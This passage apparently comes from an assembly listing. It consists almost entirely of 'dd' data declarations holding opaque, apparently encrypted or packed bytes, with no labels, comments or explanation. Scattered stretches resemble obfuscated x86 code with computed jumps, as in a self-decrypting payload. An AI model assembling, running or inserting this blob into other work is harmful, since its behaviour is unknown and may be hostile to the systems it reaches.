30942BEEh, 0F5BD9CC9h, 0F2961FB3h, 74ED57CCh dd 7EFE2755h, 0D45191E8h, 0A29CF89Ch, 0A259C641h, 2BC92FD4h dd 93B22B0Ah, 0DFB644DBh, 3617CF73h, 55FA6C52h, 1B5372F2h dd 0C95A1D82h, 215AC2EBh, 47C42F5h, 0A8E0C158h, 0AFE8269Eh dd 0B0CFFBh, 4F7D0000h, 340A6ED6h, 0C55C14D0h dd 4ED78DFBh, 0C8511370h, 0B23292ACh, 0E55FC4FAh, 585A284Ch dd 32536CB0h, 0A749D69Eh, 6EC93003h, 0E6950AF5h, 0E7C92FE2h dd 0BD83E7C6h, 76DF9745h, 950AA030h, 0BE9FBE27h, 0CCCCBEDAh dd 0D4F204D4h, 979A054Dh, 50CF7660h, 0BD2B1571h, 0E65D6307h dd 86CEEF76h, 0DB7112Fh, 0A5D912A8h, 49DD447Bh, 6A3h, 5CF567DDh dd 0EB420262h, 66CF6DD5h, 0DC75E758h, 69C084E2h, 0D7BE14Bh dd 65C0FE57h, 0F96856FFh, 6FD4EA43h, 7C185CF5h, 0E5CE38E3h dd 75C791C2h, 0F6BD94Fh, 0F899227Dh, 3A72E3CFh, 8C38AD93h dd 0D64F9725h, 0AD93F76Eh, 0F1CF8735h, 0E968394h, 84EA0138h dd 0B69745BAh, 308B1Fh, 9DEF0000h, 157398A3h, 651736AFh dd 80C86F2Fh, 0BC2B1532h, 57E4008h, 9CA2C65Fh, 425BC28h dd 5311724Ch, 30FA81CAh, 4BE262C3h, 1FDFh, 0D64F6D00h dd 9405B42Bh, 0E7C6C930h, 6FF66ED9h, 69F66F4Eh, 0C93094AFh dd 72DF4B30h, 48FA5311h, 818C6715h, 0D37AAC7Ah, 8440A59Bh dd 7EB75B1Dh, 4C0241Ah, 90F4BC9Dh, 7B23FD0Fh, 89EDCCCFh dd 0DE964EB7h, 0A51F84BAh, 56D1320Ch, 0E60312C9h, 0BB9ABBC2h dd 9784622h, 0B55D1B53h, 2F7A23Dh, 2B98C2E6h, 770120B9h dd 61137756h, 89B40C56h, 284C0425h, 305E16B7h, 79E9D7C9h dd 1F7B5AC3h, 3049D980h, 0F2D3F2C9h, 0AE6DF296h, 1FC9304Ah dd 0DC66E66Dh, 2E0F5DC4h, 0C73C0266h, 0EED0B41Dh, 7756CF75h dd 3FA4013Fh, 0A4851CC8h, 1A85E185h, 0C92FD05Fh, 0D036E57Ah dd 0B697C92Fh, 1593E1C0h, 0AD1E19BCh, 682EB7FFh, 551F1EC8h dd 3A8F91BDh, 36E07F1Bh, 97CF7466h, 0F39313B6h, 70E97BA7h dd 532E4h, 66D64C00h, 2F95F1CFh, 9448B886h, 3E9E033Dh dd 853FA997h, 36260E2Ch, 83BD14D0h, 3709A024h, 87B910CCh dd 4B0FA61Eh, 0CC09B02Fh, 94C2C2E5h, 0BD2B1526h, 1233A918h dd 45FF645Ah, 0F371D2ECh, 75EF546Ah, 9D89F2ECh, 389153B0h dd 0F4B3960Eh, 900F6B01h, 0C9309FE9h, 0F08636AAh, 7BC999D1h dd 7B000000h, 76129B37h, 8C9E004h, 0B11115ABh, 92B3920Bh dd 0CB21BEDAh, 2CF74A2h, 8642F966h, 699C2ECh, 0C2EC8653h dd 2235574h, 0A794723h, 4A6BD94Dh, 86BB7CE3h, 0E340C2ECh dd 7859037Eh, 1FC4221Ch, 86A73EA6h, 676DD5A7h, 1B1C8275h dd 5DC4FA53h, 1B7625BAh, 7657C2ECh, 48BCA004h, 0BD9C4319h dd 0B5324024h, 0BF527FDDh, 0FC60C1FFh, 980C4465h, 45Bh dd 0E262C2FCh, 0D64F18AAh, 5CC9F76Eh, 6B0741E8h, 50224622h dd 51C3D53Dh, 0F16E262Bh, 0CF748F13h, 6DF26B4Ah, 0C2EC8EAAh dd 60C5512Ah, 0FBB0AA04h, 5531h, 9B378300h, 53E97612h dd 0A8CF749Fh, 5C1EFDAh, 3F90A46Ah, 0D331C11Dh, 299DA382h dd 0A485F3BBh, 0FA67593Dh, 71D47111h, 1B3A33A9h, 74EBA382h dd 0C2EBDEC1h, 0FA695733h, 57057C42h, 0DCA7EFCEh, 0FD79ED52h dd 0E5BAFBAFh, 0DE000000h, 0EA7625BAh, 7657C2EBh, 71158C3Eh dd 22DE03h, 0E778DF05h, 0C92FDD34h, 0C2FCB495h, 0DA8AFC61h dd 0DA436243h, 5BC282E4h, 0DD440065h, 6BC282E3h, 2FE13AF4h dd 330D69C9h, 0CE8D12D2h, 0B7C92FDFh, 0C7E6904Ch, 9054B18Fh dd 399E0739h, 0AD3415CFh, 72D147EBh, 0FA6D53CAh, 0D3F2D34Ah dd 770996F2h, 56CF7402h, 0F898DE77h, 4546D9BDh, 86C932A7h dd 0C3A7C3A7h, 2E569D5Ch, 470F2EC9h, 31550F79h, 560FCA55h dd 95F0C92Eh, 0E197B62Fh, 0DC88FEC0h, 0A5033D94h, 9B0C9A3Fh dd 0E37A7DE1h, 33A77h, 0EE4EB400h, 570D7947h, 0FC60C0FEh dd 46F66B55h, 0CD77D1EFh, 7EDE4664h, 0CBF55C08h, 7F41E85Ch dd 0CFF15804h, 347EE56h, 0CB41F867h, 0DC8AC2E5h, 6BD94F6Eh dd 2798A6C2h, 330D2CB5h, 1B256DCFh, 21933AAAh, 96419B37h dd 3B5B3469h, 4E0D92F6h, 7FC92FFAh, 841B7F5Eh, 0CF7404F6h dd 0AC92F6D7h, 59C08834h, 0EC030FC6h, 30FA81C2h, 0B0225BCBh dd 78DEACFBh, 5AD2947Eh, 0A5E17F0Dh, 0E04853Dh, 0D41646h dd 4FA40000h, 780A6ED6h, 0CF51477Fh, 0D1480001h, 52CB79EFh dd 65014436h, 5ABFDC2Fh, 6311E6AAh, 87B97B04h, 1A3BA21Ah dd 3603CD52h, 2250C930h, 0A92B31C1h, 10704E95h, 69DAE4ACh dd 0F76C52FBh, 0FE92D44Dh, 0D3B7D3B7h, 2FC48D4Ch, 571F3EC9h dd 73E636C8h, 7EE185CFh, 0C2EBA2BBh, 11D3320Ch, 300E7830h dd 553110D4h, 0D45F76Bh, 0C74EE2A4h, 47D03CA3h, 3C1DC932h dd 58FD6658h, 0CE5776EEh, 0FDC3A7EFh, 83BDD98Bh, 1839A024h dd 61C7F950h, 0F2DA46E3h, 59C07DE1h, 21ACDh, 4EEE5400h dd 0F76DD9E7h, 5C00605Eh, 0E656CBF5h, 0AD17714Fh, 1EFE2604h dd 0AB953CA8h, 1F21883Ch, 0AF9138A4h, 63278E36h, 0C8E19807h dd 0BCEAC2E5h, 6BD94F0Eh, 0DD87FCC2h, 0D64FC674h, 5CC9F76Eh dd 67F41E8h, 2C5E3A5Eh, 0EADBF55Dh, 8930AFC9h, 42C93071h dd 0C35A0A7Ch, 128BC3E2h, 30D94876h, 6D41B07Fh, 0B7FFDEF9h dd 0B0D461F1h, 7466ED2Fh, 84E2DCCFh, 0F785E1C0h, 556D49A1h dd 4FD69E7Fh, 75E24C37h, 54305410h, 0EC6610CBh, 2C90F1C2h dd 0C3E294B5h, 42DB89FDh, 0E6822B63h, 0BCF468D8h, 0BBDF56FAh dd 30741E24h, 0EE9FEDC9h, 0EC80803h, 0F195E3ABh, 3042AB6Eh dd 71EB54C9h, 0AE182607h, 0AF8EAF36h, 299B0836h, 0FA138EB0h dd 4190023Ch, 2CB5945Fh, 960FAD12h, 0B38995EEh, 0C29783F8h dd 0E783E72Eh, 2F96C178h, 61E342C9h, 4B82917h, 96096D25h dd 0CF73A38Ch, 0FBC56C4Dh, 0E05CC58Ah, 0E0795879h, 60F963DEh dd 0B76318h, 0F20B2A72h, 0D24D9691h, 0C2EBC927h, 0E8A081A0h dd 5EF76DD6h, 1AC15E3Ah, 0B3C2EBC9h, 0F49CDA92h, 26B9DDB9h dd 0C2EBC973h, 0ECAF3054h, 0DDC2EBC8h, 84E3DDFCh, 307859C0h dd 0CB543054h, 0C2EBC910h, 4FD098B9h, 0C92FD00Dh, 8F3590AEh dd 0F490B1C7h, 0C74C0F90h, 5C7DC92Fh, 52B38D14h, 17730B92h dd 0A81DBA29h, 0A5841D3Ch, 0D78C96EDh, 996F23Bh, 0CF73CDD3h dd 68138CE8h, 61C2EBC9h, 5B017E40h, 0DDABE3C2h, 7F1355FCh dd 0C7CD5236h, 6C93683h, 8F16CE38h, 28168FAEh, 96D09BBh dd 2222E396h, 8DC5E4C9h, 3BA91A24h, 4004615Fh, 0C17BE7D9h dd 5531A8E0h, 1871527h, 337BCA0Ah, 457E8BACh, 53214500h dd 0A91F0C17h, 255E1617h, 3DA71CF9h, 0AE2B59h, 16DBE320h dd 5CC9F75Eh, 0D24F71E8h, 0F08BF36Ah, 0E85CC926h, 5E067F41h dd 0AA3A483Ah, 49D3FA2h, 583D5725h, 138EDFC9h, 446572B0h dd 801950Ch, 0B3000000h, 0AF132D49h, 4FF7450Dh, 0C0FE67D5h dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 0D68h, 24148900h dd 1AA868h, 24048900h, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 36B82434h, 57109B41h, 0AF7A26BFh, 5FF801F5h dd 1CD468h, 24248900h, 4240483h, 8B9515Eh, 1000000h, 2C8150F1h dd 0DD114F24h, 81018F74h, 0DD114F01h, 348B5974h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 582434FFh, 4C481h dd 3FE90000h, 0B4FFF9B1h, 0B88D4C24h, 64ACD5Ah, 0E0FFC503h dd 6C23518Dh, 748FAF6Fh, 39DEDAFCh, 22CFA70Ah, 76EED5C2h dd 5989F6C9h, 1201DD29h, 7ED13521h, 419DC935h, 751259Dh dd 2459161h, 2538F64Ah, 74DFA2Dh, 12FA505h, 609287AFh dd 5E5BFA1Ch, 116E717Ch, 2631DBF6h dd 0C91346Fh, 56FB496Fh, 2E67684Eh, 6E194A29h, 0D165C48h dd 773D0C1h, 10E8h, 0E2850700h, 8660A79Eh, 4CDFF07Eh, 0E9B87E7Eh dd 5444BB74h, 0B958727Ah, 16AC7BA2h, 5970C081h, 7E90000h dd 7C000000h, 0E9F63EBCh, 2E688D0Ah, 0E9000016h, 0Ch, 0A1622F02h dd 6287048Ah, 234E89C9h, 0C228BB5Fh, 308B7A30h, 0EE9h dd 26498800h, 0DE589A63h, 0BA1337B4h, 819A4CBBh, 0B562E8EEh dd 6E937h, 0F1B00000h, 9CC92F4Fh, 1FEEF681h, 0E78036B8h dd 4EC681F7h, 0B363030Dh, 0C680568Dh, 0BA008FABh, 67ECCDFBh dd 0CDDAE881h, 8B6613E4h, 0D6C081CFh, 8113E4CDh, 1EFh dd 0A3850F00h, 0E9FFFFFFh, 11h, 0BE2A9497h, 75848EABh dd 425FE4EBh, 741473BEh, 0CA8D8D8Dh, 6A064ACFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 21D3C356h, 0AD9529BFh, 89064425h, 442F5D8Dh, 0CEE78006h dd 67985C7h, 5B9C0644h, 33F50000h, 4403F5B5h, 7185C706h dd 64410h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E976C351h, 11h, 6F139AC4h, 0DBD7A22h dd 0A65B4762h, 5802E683h, 0DDB5FFF6h, 6A064408h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0D62CC353h, 9D295B6Ch, 644143Dh, 8EE78166h, 0F995FF67h dd 906440Bh, 440845B5h, 0FF006A06h, 441C4D95h, 0EBC08B06h dd 3994BC7Ch, 8F4104Ch, 0E8D260Bh, 0F74A5380h, 56DE6A8Fh dd 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah, 0CB1F4BF8h, 318F2495h dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h, 0FA788A6Dh dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 0F3D9D7D8h dd 5575968Fh, 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h dd 0FDB8E2E7h, 0ED6B9AECh, 74238F26h, 27E64E02h, 0F8AC148Bh dd 0BC5EEEh, 7E8EEh, 4ECB0000h, 0ABCBF50Dh, 0E18D0B45h dd 5F06440Dh, 8170D780h, 71F6C7h, 29BD8900h, 68064425h dd 1C5Ch, 9D1EC081h, 0E95A49E3h, 0Dh, 5B4A5F5Ch, 1C926A5Bh dd 8A6A03F1h, 80378B1Fh, 0F68187C9h, 74A30018h, 2AB5852Bh dd 0EE810644h, 6FA08908h, 18759589h, 0F6810644h, 19059ECFh dd 3789E7B4h, 0CF19D89h, 0EF830644h, 4800F02h, 56000000h dd 4F585952h, 0EA81F84Fh, 1, 0FFB7850Fh, 0B589FFFFh, 6441FB9h dd 8EBh, 0D1070000h, 88E97E01h, 68000004h, 64AD1E2h, 0F9AE25E9h dd 0D26768FFh, 1BE9064Ah, 68FFF9AEh, 64AD3A1h, 0F9AE11E9h dd 62DA48FFh, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h, 61E3457Bh dd 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h, 0AFEB4202h dd 0C3A554CBh, 7026C2E5h, 6BD94FC2h, 0ED57CCF2h, 1AC2FB89h dd 0F92FEF14h, 0C5B72F16h, 92E0F787h, 8811E30Bh, 3891D929h dd 3F5BD27Eh, 73BD72A0h, 138AABCFh, 0EBBAC98Ch, 66B0CBC2h dd 0AFDA2581h, 2B5CEFBh, 0D8AA0000h, 121D020Bh, 81337B32h dd 9BB2B15h, 0DFEF241h, 0D34C2865h, 0CF74970Dh, 4B7284Ch dd 0C5C2EC92h, 0E185C5E4h, 0B1F963DFh, 51F8E02Eh, 348111C0h dd 5D85CF50h, 0A0C4D453h, 0CB4B7C3Fh, 4D6C4DCBh, 0B7FE92D4h dd 0C676EDD3h, 2775EA8Eh, 66D20F86h, 0C2353614h, 6B4A87F3h dd 10D4310Fh, 0A61E87B9h, 0C2EDF603h, 1F8B1286h, 2E5h dd 2C8537ADh, 9B32B212h, 369F3DA5h, 8C259708h, 399054B2h dd 0BD2B111Bh, 3590AE07h, 0A918268Fh, 3FA49A33h, 0C682C85h dd 0E5C2E893h, 5B7E1C2h, 76129B37h, 7B650AE9h, 66243CFh dd 3245CE38h, 450DD879h, 0B1E1FC23h, 42ACEDC3h, 0CAAECA63h dd 0E5DFA655h, 0AC1927C2h, 0A180A138h, 0F371D7E9h, 873DA997h dd 0EE773F1Eh, 98FF88Ah, 93586261h, 39044DBh, 2085C2E6h dd 0D1FA01A4h, 0B32A8456h, 26027h, 2BA2800h, 0B33195ABh dd 0BC241Ah, 0B22A97A9h, 1C3251Bh, 0BAA28AA8h, 0F31984Ch dd 0BB852C98h, 33D9448h, 0CF8B22A2h, 0C28534ABh, 1046C2E5h dd 129B37A2h, 650AE976h, 6243CF7Bh, 64FB9FFBh, 0C2E5C4B5h dd 0E079E35Eh, 0DE96B7C1h, 0E5C49641h, 0B17D06C2h, 0A9DFD84Ch dd 1651DFBh, 4FAF0000h, 3BF33DD6h, 18328B4Fh, 259EA039h dd 0C05016BFh, 4B751175h, 0ED5668DCh, 87CFEE77h, 74962A18h dd 1B82A3CFh, 42BD0D7Fh, 0F8623275h, 14665EE3h, 347CCBA1h dd 0EBB9ECABh, 0B13395C2h, 70AF1628h, 0EBBA2CEFh, 9DBC9DC2h dd 1B077C04h, 111D6621h, 0AFD5B82Ch, 387DFBh, 27190000h dd 0BB9A03C1h, 0A8727AC9h, 0F5BDC1FAh, 129B3747h, 9F53E976h dd 9BBACF74h, 55049BFFh, 76C2EC89h, 19861F57h, 0C2EC895Eh dd 14F9255Eh, 0FBB0A8B0h, 8845h, 0D64FF700h, 9405B42Bh dd 0E7C6C930h, 7615FC6h, 89FAC45Dh, 77C42DBh, 8A6BF45Dh dd 8BC93099h, 4503AA1Ah, 9B0460ADh, 0CF773598h, 2A147051h dd 0C5A108BCh, 0E2FC14B7h, 0B6FE7F47h, 3A61E88h, 7BA5D5C2h dd 262BBF26h, 0EE000001h, 5F61C874h, 0EAD47DE7h, 516FC676h dd 0DBE54CF0h, 7C5EF76Dh, 66DE48B4h, 2E96F1CFh, 924AB987h dd 24A0053Bh, 32ADC98Dh, 0C2E5C187h, 4FA41640h, 0FCC26BD9h dd 1074DD87h, 4109B32Eh, 3DD64FF3h, 673727DBh, 5CC5E478h dd 4A100162h, 6CEFCE7Bh, 0B0F65F7Eh, 6EF19520h, 0CF74B9FCh dd 5B01615Fh, 0DDABE3C2h, 40A698FCh, 3B22D84h, 8CC2EC2Dh dd 0ADC9AD17h, 0EC2D8732h, 296140C2h, 9C48BE80h, 9F9105h dd 37230000h, 1276129Bh, 4872E860h, 0B9F1076Eh, 7B074F26h dd 0F591B0CFh, 0A2EA5ACBh, 3BA0053Bh, 0AD8C15C7h, 0AA1B258Ch dd 3E1FBD25h, 0FAA13E5Ah, 0D3C2E605h, 0BC23BAF2h, 3B310A96h dd 0A039A31Fh, 20B9239Eh, 0A20DB44h, 88A94B2Fh, 0AD9F8BF0h dd 75F082E6h, 1E2CBBFFh, 0B8621951h, 0D37AEA5Bh, 55CC78EDh dd 2B990F31h, 0E5DB93B2h, 5F1A857Ch, 684B2EA0h, 89F16849h dd 5ACB28F2h, 552743EAh, 3FA07F2Ch, 4B2EBE7Ch, 1F1E6C4Dh dd 2C90F162h, 6CD0330Dh, 3BA91A24h, 336A2h, 49840000h dd 67D54FFBh, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 1168EDFAh dd 8900007Fh, 8957243Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 2434895Ch, 4E5868h, 243C8900h, 41FBB951h, 0D9F7569Dh dd 0C9814941h, 2189236Ah, 0EE68E981h, 8952A3A0h, 5AD689CAh dd 3C8B5459h, 4C48324h, 4FB95156h, 29417A0Dh, 5904244Ch dd 8108478Fh, 0D4F0847h, 34FF417Ah, 0C4815F24h, 4, 5324348Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFF9A9AAh, 0B88974E0h dd 64AD4ECh, 0E0FFC503h, 5346ED0h, 1EA6AC3h, 4000E341h dd 4ADBE0BCh, 7EE9608Dh, 29B97CBCh, 5C24B459h, 66FB0CA8h dd 0BE8h, 0FACD4B00h, 0FFB7E90Dh, 6F04B271h, 605FF08Bh dd 0DE9F5h, 19B40000h, 2BF4615Fh, 9B0ED60Eh, 61891D64h dd 58E8C781h, 680000h, 60000016h, 0FD0BF0Fh, 28Ch, 61DA8B00h dd 0CE9605Bh, 2D000000h, 0E80C6270h, 0A26DC649h, 61E73E0Fh dd 8A0F37FFh, 0Ch, 7E9h, 63070900h, 97C83685h, 0C28B5259h dd 0A0E9815Eh, 0B20F8DF8h, 0FF18148h, 81316816h, 0C70E4F0h dd 4CC18144h, 6630934Ah, 51D98ABEh, 94F6BA60h, 6060486Bh dd 0DE8B6661h, 78F6161h, 0A4EA8166h, 3EF836Fh, 814FC18Bh dd 0D26634C8h, 850F4B7Ch, 2Dh, 198B0Fh, 14E90000h, 0D1000000h dd 0ADC59948h, 0C32B5778h, 2942A032h, 5CDD6FD4h, 0E9372752h dd 19h, 0C2147109h, 0D5C3C4E3h, 0E98BB6F5h, 0FFFFFF6Ch dd 12DCE2Ah, 0E0AD7D5Dh, 0AE8DFh, 0D5F90000h, 1A83FA23h dd 45048049h, 605AD7B0h, 7E8h, 0E75C4000h, 0B51BE3A7h dd 14E9h, 55B38600h, 0C056F954h, 894E0F32h, 0D57CA95h dd 97312284h, 0F08B5823h, 0C0C28161h, 0F00005Fh, 585h dd 0E0816600h, 0F62BB50Ah, 3C8BCCB1h, 9878BB32h, 0C7814366h dd 47989E1Dh, 0B9E5D181h, 0F781772Fh, 57A02B5Bh, 8159F556h dd 88AEC4F7h, 67F18153h, 574CC227h, 0E9DA8B60h, 9, 29F058ACh dd 6CC3CD0Ah, 48F6116h, 0C6E78032h, 65E38166h, 1EE83CFh dd 8E9h, 2DEE9900h, 9E9AD121h, 4E4E4EAFh, 0A8E0Fh, 880F0000h dd 4, 0BDB7BB66h, 0A104FE81h, 850FFFFFh, 0FFFFFF8Ah, 382FCB81h dd 0C08B75BCh, 20CDBD83h, 75000644h, 25BD8309h, 6440Bh dd 53501974h, 21B8C08Bh, 89000004h, 4402F585h, 4F9D8D06h dd 0FF0646A8h, 83585BD3h, 440B25BDh, 17740006h, 21B85350h dd 89000004h, 4402F585h, 3E9D8D06h, 0FF0646A5h, 8B585BD3h dd 199D8BC0h, 0C6064425h, 4402E985h, 52685606h, 0FF9CA8B8h dd 4417E9B5h, 0AF858D06h, 0FF064777h, 68046AD0h, 1000h dd 1A59B5FFh, 6A0644h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h dd 44733A8Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h dd 0D3030C50h, 879BD83h, 0F000644h, 0E84h, 799D8B00h, 8B064408h dd 44216585h, 51038906h, 88858D52h, 0FF064442h, 8BFA8BD0h dd 8BD18BF1h, 0C6A4F3C8h, 4402E985h, 39685606h, 0FFD41F6Dh dd 4417E9B5h, 0AF858D06h, 0FF064777h, 800068D0h, 6A0000h dd 8BD0FF52h, 0CDBD83C0h, 64420h, 0BD830975h, 6440B25h dd 50197400h, 0B8C08B53h, 421h, 22298589h, 9D8D0644h, 646A8B6h dd 585BD3FFh, 0B25BD83h, 74000644h, 0B8535017h, 421h, 22298589h dd 9D8D0644h, 646A557h, 585BD3FFh, 9D8DC08Bh, 6440879h dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 13E80000h, 43000000h, 28EE1A56h, 38D1EF61h, 5A3D1390h dd 0F15A1A1Ah, 0BA5FEC71h, 2C96AE6Eh, 72B2C781h, 0D6810000h dd 5BB95A85h, 0B9h, 8BD08B00h, 800F0F04h, 6, 95E1C681h dd 0E8817EBEh, 392BBDBAh, 8E96060h, 41000000h, 3684110Ch dd 0E9D50029h, 11h, 2E09BB0Dh, 575F5FD7h, 0B5C27EC8h, 285D7AC2h dd 8D0F6106h, 6, 860Fh, 81610000h, 953B1CC0h, 99C08167h dd 0FC5A6094h, 0F18B6650h, 660F048Fh, 607030BBh, 8B66C28Ah dd 0E98361FAh, 0E6BE6604h, 24F98165h, 0FFFFF8Eh, 1985h dd 4870F00h, 66000000h, 0E9D52DBBh, 25h, 0F3B4BAC2h, 69BB2D78h dd 870FEFCBh, 1, 0FF61E9FCh, 6D50FFFFh, 85E439BCh, 2D40B921h dd 7BFDC153h, 35CAFEF0h, 8AA80B03h, 708A4F8Bh, 0ABA80B00h dd 0C875EAD5h, 0B0A80B00h, 0BA8A4F88h, 6D57AE5Dh, 388A4F89h dd 0ABA80B01h, 8375EAD5h, 53A80B01h, 0D8A4F8Eh, 0DDA80B06h dd 878A4F8Eh, 0ABA80B06h, 2575EAD5h, 8E6ED42Fh, 0C0031360h dd 52E2883Fh, 9EBE90A7h, 0D12157E8h, 43C0CC8Bh, 8F23D42Fh dd 0C0031360h, 52E28807h, 9E6990A7h, 0D12157E8h, 43C0CC87h dd 8892D42Fh, 0C0031360h, 52E28813h, 990590A7h, 0D12157E8h dd 43C0CC93h, 887BD42Fh, 0C0031360h, 52E2881Fh, 989690A7h dd 0D12157E8h, 43C0CCEFh, 89F5D42Fh, 0C0031360h, 52E2886Bh dd 981490A7h, 0D12157E8h, 43C0CCE7h, 8977D42Fh, 0C0031360h dd 52E28873h, 9B9290A7h, 0D12157E8h, 43C0CCFFh, 5012B8C3h dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0F5095C0h dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 593AAE63h, 848C5134h dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0AAA7DB2Fh dd 94751360h, 0D9020112h, 0F741AA0h, 0EC79AEA4h, 41AE51A1h dd 5B22DC09h, 0BA8C5FD4h, 0DF103773h, 0C821732Ah, 1E565E28h dd 0FD5BEA2Ch, 508C152Bh, 4A009881h, 0ABAE1B5Ch, 0EFD2A5FBh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 0F5155C0h, 5CDDDAA4h, 828668A1h dd 54A8ADE7h, 0BACC152Ah, 10A78830h, 0CE529E2Ch, 9783FC69h dd 0EFE2A5B9h, 0D9F9FA31h, 0F741AA0h, 0D79AEA4h, 2320949Ah dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 43C0CEBDh dd 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah, 52EC5E7Bh dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 0F741AA0h dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 5B22DC08h, 0BA8C5FD4h dd 0FEF8E173h, 0BB859FA7h, 855757E8h, 6E20D6A0h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 52EC4FAFh dd 0C8204526h, 1E565E28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh dd 0FE0451A2h, 4A5387D5h, 8C2357E6h, 0EF491786h, 0AAA7DB2Fh dd 94751360h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh dd 457650EDh, 0F8A851A2h, 9C18EA80h, 0DFAE15ADh, 8558B9E2h dd 5B32DC08h, 0BA8C5FD4h, 94103771h, 0CF2173E3h, 2983FB63h dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52EC5E7Bh dd 7726DDA1h, 0CE25FB63h, 43C0EB25h, 0ECCE825Dh, 0EEECE4AAh dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah dd 0D903376Bh, 0F741AB0h, 327BAEA4h, 234B9592h, 0FE04FD09h dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah dd 0FFCEB824h, 0BB858FA7h, 875757E8h, 320A09Ah, 0CE25FB0Eh dd 43C0EB25h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 0F547DC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h dd 43C0CCB7h, 2032DCF1h, 0BA8C5FF0h, 0A8EDD871h, 458A42C3h dd 58DDAEA2h, 0C88260D5h, 1E71FC38h, 0DF07462Ch, 52E28BD6h dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 9C338FA7h dd 0D9FB57E8h, 0F5061B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h dd 3075195Fh, 9132DCAAh, 168C5FF3h, 8EDCCB2Fh, 96751360h dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh dd 378D8D00h, 6A064AE0h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 51A4C356h, 1BFA4BD5h dd 49858942h, 89064422h, 442F5D8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BCBD6C5h 